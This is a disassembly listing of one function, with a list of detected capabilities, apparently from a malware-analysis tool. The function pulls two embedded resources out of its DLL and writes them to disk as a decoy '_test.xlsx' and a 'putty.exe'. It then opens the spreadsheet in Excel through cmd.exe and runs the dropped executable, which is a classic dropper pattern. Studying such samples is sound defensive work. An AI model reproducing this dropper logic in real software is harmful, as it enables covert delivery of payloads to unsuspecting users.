Function at 0x180001050
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Get common file path
Get startup folder
Query or enumerate registry value
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
lea r8, [rsp + 0x58]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftOffice16.0WordOptions
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x64]
lea rax, [rbp + 0x3b0]
mov dword [rsp + 0x64], 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.PROGRAMDIR
mov dword [rsp + 0x60], 0x104
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea r8, str.excel.exe
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xor r12d, r12d
lea r8, [rsp + 0x50]
lea rdx, section..text
mov qword [rsp + 0x50], r12
lea ecx, [r12 + 4]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov rsi, qword [rsp + 0x50]
lea edx, [r12 + 0x6a]
mov rcx, rsi
lea r8d, [r12 + 0x69]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rbx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rdi
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea edx, [r12 + 0x6c]
mov rcx, rsi
lea r8d, [r12 + 0x6b]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rbx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor r9d, r9d
lea edx, [r12 + 5]
mov rdi, rax
xor r8d, r8d
lea rax, [rbp + 0x2a0]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r8, [rbp + 0x2a0]
mov edx, 0x104
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str._test.xlsx
mov edx, 0x104
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [rbp + 0x2a0]
mov edx, 0x104
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.putty.exe
mov edx, 0x104
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x80]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, r15d
mov rdx, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x190]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, esi
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [r12 + 0x68]
call fcn.1800014a0
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
lea ecx, [rax + 0x18]
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
movups xmmword [rdi + 0x50], xmm0
mov qword [rdi + 0x60], rax
call fcn.1800014a0
mov rbx, rax
lea r8, str.c:windows_system32cmd.exe__c___
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
xor eax, eax
mov edx, 0x104
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, [rbp + 0x3b0]
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x180003374]
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [rbp + 0x80]
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x180003374]
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov qword [rsp + 0x48], rbx
xor r9d, r9d
mov qword [rsp + 0x40], rdi
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [r12 + 0x68]
call fcn.1800014a0
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
lea ecx, [rax + 0x18]
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
call fcn.1800014a0
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x190]
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x38], r12
xor ecx, ecx
mov qword [rsp + 0x30], r12
xor r9d, r9d
movups xmmword [rax], xmm0
mov dword [rsp + 0x28], 0x10
xor r8d, r8d
mov dword [rsp + 0x20], r12d
mov qword [rax + 0x10], rcx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
movzx eax, r12w
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.180001480
lea r11, [rsp + 0x5d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret